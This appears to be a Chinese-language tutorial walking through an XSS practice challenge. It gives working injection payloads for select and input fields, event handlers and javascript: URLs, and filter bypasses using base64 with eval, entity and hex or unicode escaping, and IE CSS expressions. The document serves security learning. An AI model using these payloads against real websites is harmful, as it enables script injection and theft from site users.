文章目录
一、下拉框select和input的XSS攻击
1.属性中的XSS发现–下拉框select
select元素可创建单选或多选菜单,如下:
<select name="p2">
<option>Japan</option>
<option>Germany</option>
<option>USA</option>
<option>United Kingdom</option>
</select>
在select下拉框中输入</option>
闭合标签:
Japan</option><script>alert(document.domain);</script>
测试如下:
2.HTML表单input属性
input标签的属性有:
- value
输入字段的初始值 - readonly
输入字段为只读(不能修改) - disabled
输入字段是禁用的 - size
规定输入字段的字符 - maxlength
输入字段允许最大长度 - type
类型- text文本
- password密码
- hidden隐藏
3.HTML表单隐藏参数
隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的;
当表单被提交时,隐藏域就会将信息(定义的名称和值)发送到服务器上。
测试时,如果用之前的方法可能会失效,改变页面元素提交后会恢复原状,这时需要将input表单的类型由hidden改为text,再进行测试:
二、input属性和HTML事件触发XSS
1.修改maxlength的值达到XSS攻击效果
如果不修改maxlength的值,可能payload不能填完,因此需要先修改,再加入"><script>alert(document.domain);</script>
测试。
测试如下:
2.通过HTML事件来触发XSS
HTML事件的介绍可参考http://www.w3school.com.cn/tags/html_ref_eventattributes.asp,HTML实体的介绍可参考https://www.w3school.com.cn/html/html_entities.asp。
通过事件来触发XSS的原理是通过添加双引号闭合来增加标签属性,如下:
" οnmοuseοver="alert(document.domain)
" οnclick="alert(document.domain)
测试如下:
注意:
必须增加两个双引号,形成两个闭合。
3.空格分隔属性中的XSS
用闭合引号的思路来进行尝试:
" οnmοuseοver= "alert(document.domain)
测试如下:
三、javascript伪协议和绕过注释domain
1.利用javascript伪协议触发XSS
将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:
后的URL中。
这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
如果javascript:URL
中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。
例如:
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
javascript URL还可以含有只执行动作,但不返回值的javascript语句,如下:
javascript:alert("hello world!")
a标签:
定义超链接,用于从一个页面链接到另外一个页面;
标签最重要的属性是href属性,它指定链接的目标。
在所有浏览器中,链接的默认外观是:
未被访问的链接带有下划线而且是蓝色的;
已被访问的链接带有下划线而且是紫色的;
活动链接带有下划线而且是红色的。
测试如下:
2.绕过注释domain
跳过Stage:
构造特殊无害字符串,响应中寻找字符串;
在span标签中添加onclick= "alert(document.domain)"
。
绕过方法有双写和编码2种。
双写绕过
"><script>alert(document.dodomainmain);</script>
测试如下:
编码绕过
alert(document.domain)
的base64编码是YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
,用eval()
函数执行JavaScript代码,atob()
函数解码base64字符串。
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
测试如下:
四、XSS绕过和利用IE触发CSS
1.绕过替换script和on事件的XSS
HTML十进制编码可参考https://blog.csdn.net/HappyRocking/article/details/79744049。
tab制表符的html十进制编码	
。
将HTML十进制编码的tab制表符加入JS代码中:
"><a href="javascr	ipt:alert(document.domain);">xss</a>
测试如下:
2.利用IE特性绕过XSS过滤
IE中两个反引号``可以闭合一个左边双引号,即" `` 可以实现闭合,如
``onclick=alert(document.domain)
这个只适用于IE浏览器。
测试如下:
3.利用CSS特性绕过XSS过滤
CSS(层叠样式表)是一种用来表现HTML或XML等文件样式的计算机语言,可以修饰页面效果。
将JS代码加入CSS中:
background:url("javascript:alert(document.domain);");
IETester是一个免费的(个人和专业用途的)WebBrowser,可以在Windows 8台式机,Windows 7,Vista和XP上使用IE11,IE10,IE9,IE8,IE7,IE 6和IE5.5的呈现和JavaScript引擎,以及在同一过程中安装的IE。
在IETester(点击https://download.csdn.net/download/CUFEECR/12253066或官网https://www.my-debugbar.com/wiki/IETester/HomePage下载安装)中进行测试,因为各个版本的IE都需要进行测试,Windows10里面自带的IE不会执行。
测试如下:
4.IE中利用CSS触发XSS
css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在Css中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到支持,后因标准、性能、安全性等问题。
微软从IE8 beta2标准模式开始,取消对css expression的支持。
IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和Javascript表达式关联起来。
expression举例如下:
here:expres/\*\*/sion(if(!window.x){alert(document.domain);window.x=1;});
here:e\\0xpression(onmouseover=function(){alert(document.domain)})
测试如下:
五、通过编码转码符号绕过XSS过滤
1.16进制绕过过滤触发XSS
十六进制转换每一位上可以是从小到大为0、1、2、3、4、5、6、7、8、9、A、B、C、D、E和F16个大小不同的数,即逢16进1,其中A、B、C、D、E、F(字母不区分大小写)六个字母来分别表示10、11、12、13、14、15。
Python实现16进制转换:
import binascii
s = binascii.b2a_hex(">" .encode("utf8"))
print(s.decode())
print("\\x"+s.decode())
打印
3e
\x3e
<script>alert(document.domain)</script>
将**>和<**替换为16进制后:
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
测试如下:
2.unicode绕过过滤触发XSS
Unicode(万国码、国际码、统一码、单一码)是计算机科学领域里的一项业界标准,它对世界上大部分的文字系统进行了整理、编码,使得电脑可以用更为简单的方式来呈现和处理文字。
Unicode是为了解决传统的字符编码方案的局限而产生的,它为每种中的每个字符设定了统一并且唯一的二进制编码,满足跨语言、跨平台进行文本转换、处理的要求。
使用Python将字符串转换为unicode类型:
import binascii
def s2unicode(s):
stemp = binascii.b2a_hex(s.encode("utf8"))
return "\\u00" + stemp.decode()
print('%sscript%salert(document.domain)%s/script%s' % (s2unicode('<'), s2unicode('>'), s2unicode('<'), s2unicode('>')))
打印:
\u003cscript\u003ealert(document.domain)\u003c/script\u003e
使用\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
测试如下: